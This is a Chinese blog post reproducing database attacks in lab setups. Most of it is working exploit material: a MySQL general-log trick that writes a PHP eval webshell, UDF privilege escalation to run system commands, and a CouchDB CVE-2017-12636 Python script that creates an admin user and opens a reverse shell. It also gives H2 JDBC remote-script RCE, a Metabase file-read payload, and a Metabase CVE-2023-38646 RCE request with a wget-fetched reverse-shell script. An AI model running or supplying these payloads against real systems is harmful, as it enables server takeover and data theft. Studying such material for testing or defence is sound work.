首页 > 数据库 >数据库攻防学习之MySQL

数据库攻防学习之MySQL

时间:2024-01-03 17:38:14浏览次数:29  
标签:攻防 shell wooyun 数据库 MySQL session udf mysql

MySQL

0x01mysql学习

MySQL 是瑞典的MySQLAB公司开发的一个可用于各种流行操作系统平台的关系数据库系统,它具有客户机/服务器体系结构的分布式数据库管理系统。可以免费使用使用,用的人数很多。

0x02环境搭建

这里演示用,phpstudy搭建的环境,然后安装phpmyadmin

数据库攻防学习之MySQL_mysql

0x03漏洞复现

日志文件包含getshell

利用前提

知道网站路径,mysql版本大于5.0

利用条件 需要可读可写的权限,也就是高权限账号

所用到的命令

show variables like '%general%'; 查看日志读写功能

SET GLOBAL general_log='on';开启日志读写功能

select @@basedir; 查看mysql所在的绝对路径

SHOW VARIABLES LIKE"secure_file_priv";如果值为文件夹目录,则只允许修改目录下的文件,如果值为NULL则为禁止。

SET GLOBALgeneral_log_file='C:/phpstudy_pro/WWW/shell.php';修改日志文件路径

数据库攻防学习之MySQL_mysql_02

数据库攻防学习之MySQL_数据库攻防_03

修改设置,该为开启,这样才能继续利用。

数据库攻防学习之MySQL_网安学习_04

再次查询,可以发现已经发生了改变

数据库攻防学习之MySQL_mongodb数据库_05

访问验证

数据库攻防学习之MySQL_网安学习_06

select '<?php eval($_POST["a"]);?>';

数据库攻防学习之MySQL_网安学习_07

数据库攻防学习之MySQL_网安学习_08

总结,如果SHOW VARIABLES LIKE"secure_file_priv";为NULL则没办法使用into outfile写文件,那么可以开启日志,修改日志文件路径和文件名为php,然后执行一个带有一句话的查询语句,完成getshell。

帮助网安学习,全套资料S信免费领取:

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集(含答案)

⑧ APP客户端安全检测指南(安卓+IOS)

mysql udf提权

这里使用win10 +phpstudy,直接下个msyql就行了

udf提权是mysql的一种常见的提权方式。

什么是udf?

udf可以理解为用户自定义函数,可以用udf增加一些函数,在mysql里就能用这个函数了。

提权前提

获取mysql的控制权限。

mysql具有写入权限,即secure_file_priv的值为空。

show global variables like'%secure%';用这个查询

提权背景

拿到了mysql权限,没拿到服务器权限,可以通过mysql提权使其达到拿到服务器的权限

提权实验

实验版本mysql 5.5 操作系统win10

需要udf文件,可以从sqlmap里获取或者msf中获取。

这里可以直接用国光师傅的写好udf16进制

https://www.sqlsec.com/tools/udf.html

show global variables like'%secure%';

数据库攻防学习之MySQL_数据库攻防_09

如果不是空的话可以这样修改,这个需要在mysql目录下的ini文件进行修改或者添加。

数据库攻防学习之MySQL_数据库攻防_10

secure_file_priv=''然后重启服务。

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL安装目录下的 libplugin 文件夹下文件夹下才能创建自定义函数。

这里我自己在目录下创建一个,也可以用NTFSADS方法创建目录,但有可能不成功。

showvariableslike'plugin%';

查询发现已经有了,然后进行文件写入。

数据库攻防学习之MySQL_数据库攻防_11

路径D:phpstudy_proExtensionsMySQL5.5.29libplugin

如果有Can't open shared library 'udf.dll',切换成32位试试。

数据库攻防学习之MySQL_mongodb数据库_12

实战中不成功,可以轮流尝试。

数据库攻防学习之MySQL_mysql_13

创建自定义函数并且调用命令

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

select sys_eval('whoami');

select sys_eval('dir');

数据库攻防学习之MySQL_数据库攻防_14

发现已经成功并且是Administrator权限

couchdb数据库

漏洞介绍

ApacheCouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,CreditSuisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露利用

漏洞复现

CVE-2017-12635

数据库攻防学习之MySQL_mongodb数据库_15

PUT发包创建用户

选择内网映射端口为5984的抓包访问

数据库攻防学习之MySQL_数据库攻防_16

http://192.168.48.133:54944/_utils/#login

数据库攻防学习之MySQL_mongodb数据库_17

这个为登陆应用

发包目的是增加用户,可以用bp或者postman

数据库攻防学习之MySQL_网安学习_18

PUT /_users/org.couchdb.user:vulhub HTTP/1.1

Host:

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;
x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 110

{

"type": "user",

"name": "vulhub",

"roles": ["_admin"],

"roles": [],

"password": "vulhub"

}

数据库攻防学习之MySQL_mongodb数据库_19

数据库攻防学习之MySQL_mysql_20

成功添加用户

CVE-2017-12636

CVE-2017-12636 exp 命令执行

import requests

import json

import base64

from requests.auth import HTTPBasicAuth

target = 'http://your-ip:5984'

command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1"""

version = 1

session = requests.session()

session.headers = {

'Content-Type': 'application/json'

}

# session.proxies = {

# 'http': 'http://127.0.0.1:8085'

# }

session.put(target + '/_users/org.couchdb.user:wooyun', data='''{

"type": "user",

"name": "wooyun",

"roles": ["_admin"],

"roles": [],

"password": "wooyun"

}''')

session.auth = HTTPBasicAuth('wooyun', 'wooyun')

command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" %
base64.b64encode(command).decode()

if version == 1:

session.put(target + ('/_config/query_servers/cmd'),
data=json.dumps(command))

else:

host = session.get(target +
'/_membership').json()['all_nodes'][0]

session.put(target +
'/_node/{}/_config/query_servers/cmd'.format(host),
data=json.dumps(command))

session.put(target + '/wooyun')

session.put(target + '/wooyun/test', data='{"_id":
"wooyuntest"}')

if version == 1:

session.post(target + '/wooyun/_temp_view?limit=10',
data='{"language":"cmd","map":""}')

else:

session.put(target + '/wooyun/_design/test',
data='{"_id":"_design/test","views":{"wooyun":{"map":""}
},"language":"cmd"}')

数据库攻防学习之MySQL_数据库攻防_21

h2database数据库

H2 是一个开源的嵌入式数据库引擎,纯 java实现的关系型数据库,不受平台的限制。

数据库攻防学习之MySQL_mysql_22

未授权访问

发现其可以未授权访问jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;

数据库攻防学习之MySQL_mysql_23

在JDBC URL输入这个语句点击connect即可未授权访问

数据库攻防学习之MySQL_数据库攻防_24

RCE姿势

在VPS里面创建个sql文件,然后远程加载利用服务。

re_shell.sql

CREATE TABLE test (

id INT NOT NULL

);

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

Java.type("java.lang.Runtime").getRuntime().exec("bash -c
{echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';

bash -i >& /dev/tcp/ip/7888 0>&1

数据库攻防学习之MySQL_mysql_25

远程加载姿势如下,填入python启动的ip和端口

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
FROM 'http://IP:port/re_shell.sql';

数据库攻防学习之MySQL_mongodb数据库_26

mongodb数据库

大致介绍一下

MongoDB是一个基于分布式文件存储的数据库

由C++语言编写,旨在为WEB应用提供可扩展的高性能数据存储解决方案。

未授权访问漏洞

可以用msf检测

search mongodb

数据库攻防学习之MySQL_数据库攻防_27

存在未授权访问漏洞

数据库攻防学习之MySQL_mysql_28

可以利用mongodb连接工具直接连接

metabase数据库分析

metabase是一款开源的简易但强大同时又无缝兼容大数据和传统数据库的分析工具

Metabase geojson任意文件读取漏洞 (CVE-2021-41277)

payload /api/geojson?url=file:/etc/passwd

数据库攻防学习之MySQL_网安学习_29

Metabase 远程代码执行漏洞(CVE-2023-38646)

Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。Metabase 存在远程代码执行漏洞,可导致攻击者在服务器上以运行 Metabase服务器的权限执行任意代码。

这里使用vulhub的docker环境,vulfocus可能有问题没复现成功

GET访问

/api/session/properties

数据库攻防学习之MySQL_数据库攻防_30

exp

POST /api/setup/validate HTTP/1.1

Host: your-ip

Content-Type: application/json

{

"token": "token值",

"details":

{

"is_on_demand": false,

"is_full_sync": false,

"is_sample": false,

"cache_ttl": null,

"refingerprint": false,

"auto_run_queries": true,

"schedules":

{},

"details":

{

"db":
"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1;CREATE
TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$//javascriptnjava.lang.Runtime.getRuntime().exec('执行的命令')n$$--=x",

"advanced-options": false,

"ssl": true

},

"name": "test",

"engine": "h2"

}

}

验证一下

python启动一个http服务,然后exec执行curl ip:8899/1.txt

python3 -m http.server 8899

数据库攻防学习之MySQL_网安学习_31

验证成功

数据库攻防学习之MySQL_mysql_32

尝试反弹shell

未能成功反弹shell,利用其他方法进行反弹shell,可以执行命令从VPS下载sh脚本然后在用命令运行该脚本进行反弹shell

数据库攻防学习之MySQL_网安学习_33

创建个re_shell.sh,内容如下

!/bin/sh

bash -c 'exec bash -i >& /dev/tcp/ip/6667 0>&1'

执行 wget http://ip:port/re_shell.sh

数据库攻防学习之MySQL_mysql_34

执行

/bin/bash /tmp/re_shell.sh

数据库攻防学习之MySQL_mysql_35

成功反弹shell

数据库攻防学习之MySQL_数据库攻防_36

  

标签:攻防,shell,wooyun,数据库,MySQL,session,udf,mysql
From: https://blog.51cto.com/u_14601424/9087020

相关文章

  • 【JDBC】Java数据库连接:操作流程、API、数据库连接池
    JDBC简介JDBC(JavaDataBaseConnectivity)Java数据库连接JDBC是使用Java语言操作关系型数据库的一套APIJDBC操作数据库流程JDBCAPIDriverManager驱动管理类Connection数据库连接对象StatementResultSet结果集对象PreparedStatementPreparedStatement好......
  • 文档型数据库的发展进程
    随着信息技术的不断发展,数据库在企业信息化建设中扮演着关键的角色。MongoDB作为国外主流的文档型数据库,一直以来在国际市场中广受欢迎。近年来,随着数字化转型的深入推进,中国数据库产业迅速崛起并取得了显著的进步。在这一发展潮流中,国产数据库正逐渐走进众多企业的应用领域。Mongo......
  • 神通数据库的varchar和nvarchar的验证
    神通数据库的varchar和nvarchar的验证登录神通数据库isql注意神通数据库的默认密码是szoscar55Welcometoisql2.0.56interactiveterminal,ClientDefaultEncodingisUTF8.Logintime:2023-12-2516:00:36Passwordfordefaultuser:Connectto:神通数据库7.0.8.1......
  • 达梦数据库varchar和nvarchar的验证
    达梦数据库varchar和nvarchar的验证测试SQLcreatetablespacezhaobshdatafile'/opt/dmdbms/data/DAMENG/zhaobsh.dbf'size128#需要注意达梦数据库的大小限制为:#第1行附近出现错误[-2422]:数据文件[/opt/dmdbms/data/DAMENG/zhaobsh.dbf]大小无效,取值范围为(128~6710886......
  • K8S_IPV6 POD与数据库联通方法以及快速网络调试的一个思路
    K8S_IPV6POD与数据库联通方法以及快速网络调试的一个思路背景前端时间搭建了一套K8SonlyIPV6SingleStack的测试环境因为自己长时间不搞K8S了,并且IPV6的搭建方法墙内的文档很不完整我这边仅是搭建了一套比较基本的K8S_calico_ingress的单栈IPV6的环境但是同事一直要求......
  • ZHS16GBK字符集下面Oracle数据库varchar与nvarchar的验证
    ZHS16GBK字符集下面Oracle数据库varchar与nvarchar的验证背景周末分析了SQLServermysql等数据库想着继续分析一下oracle数据库这边oracle使用的是ZHS16GBK的字符集.所以比较特殊.还是建议得使用UTF-8字符集.能让系统干的活就让系统干,自己干国际化太费劲了.处理思路使......
  • MYSQL varchar和nvarchar一些学习
    MYSQLvarchar和nvarchar一些学习背景先试用utfmb3的格式进行一下简单验证注意脚本都是一样的.createdatabasezhaobsh;usezhaobsh;createtablezhaobsh(zhaobshvarcharvarchar(30),zhaobshnvarcharnvarchar(30));insertintozhaobshvalues('123abc','123ab......
  • PG数据库存储验证
    PG数据库存储验证背景最近学习了SQLServer数据库的varchar和nvarchar的存储想到PG数据库其实没让选择字符集,也没有nvarchar所以想学习一下nvarchar的使用情况建表以及插入sqlsu-postgrespsqlcreatedatabasezhaobsh\czhaobshcreatetablezhaobsh(zhaobshvarchar(30));......
  • oracle和mysql在数据引擎上的本质区别
    Oracle和MySQL是两种不同的关系型数据库管理系统(RDBMS),它们在数据引擎上有一些本质区别。以下是它们之间的一些主要区别:开发商和许可协议:Oracle:由Oracle公司开发,采用商业许可协议。通常需要购买许可证,并且有较高的成本。MySQL:由Oracle公司的子公司MySQLAB开发,采用开源许可协议(通......
  • mysql8.0存储过程
    1、存储过程概述1.1、理解含义:存储过程的英文是StoredProcedure。它的思想很简单,就是一组经过预先编译的SQL语句的封装。执行过程:存储过程预先存储在MySQL服务器上,需要执行的时候,客户端只需要向服务器端发出调用存储过程的命令,服务器端就可以把预先存储好的这一系列SQL......